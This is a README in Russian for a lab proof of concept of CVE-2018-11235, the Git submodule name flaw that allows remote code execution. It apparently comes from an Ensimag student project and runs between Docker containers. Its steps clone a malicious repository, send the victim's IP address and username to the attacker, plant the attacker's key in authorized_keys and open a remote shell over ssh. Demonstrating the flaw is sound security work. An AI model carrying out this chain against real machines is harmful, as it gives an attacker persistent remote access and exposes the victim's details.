
Доказательство концепции — эксплуатация RCE: уязвимость в именах подмодулей Git — Ensimag, ноябрь 2018
Для сборки docker-контейнеров используйте:
make docker
(Следующие команды make необходимо запускать параллельно в разных терминалах на вашей машине)
Для запуска контейнера сервера атакующего используйте:
make run_server
для запуска контейнера, представляющего жертву, используйте:
make run_client
Контейнер запустит скрипт client.py. Скрипт передаст свой IP-адрес и имя пользователя атакующему.
Следуйте инструкциям в консоли клиентов, чтобы клонировать вредоносный git-репозиторий.
git clone --recurse-submodules root@server:home/poc/malicious_repo client_pwned
Вы заметите, что IP-адрес и имя пользователя жертвы передаются на сервер.
После клонирования убедитесь, что открытый ключ атакующих действительно добавлен в authorized_keys клиента.
Затем вы можете открыть shell на клиенте с сервера с помощью следующей команды (выполняемой на вашей машине):
make server_bash
ssh <transmitted_username>@<transmitted_host>Если у вас возникнут какие-либо проблемы при запуске этого Proof of Concept, пожалуйста, создайте issue в этом репозитории: https://github.com/ygouzerh/CVE-2018-11235/issues , и мы ответим вам как можно скорее.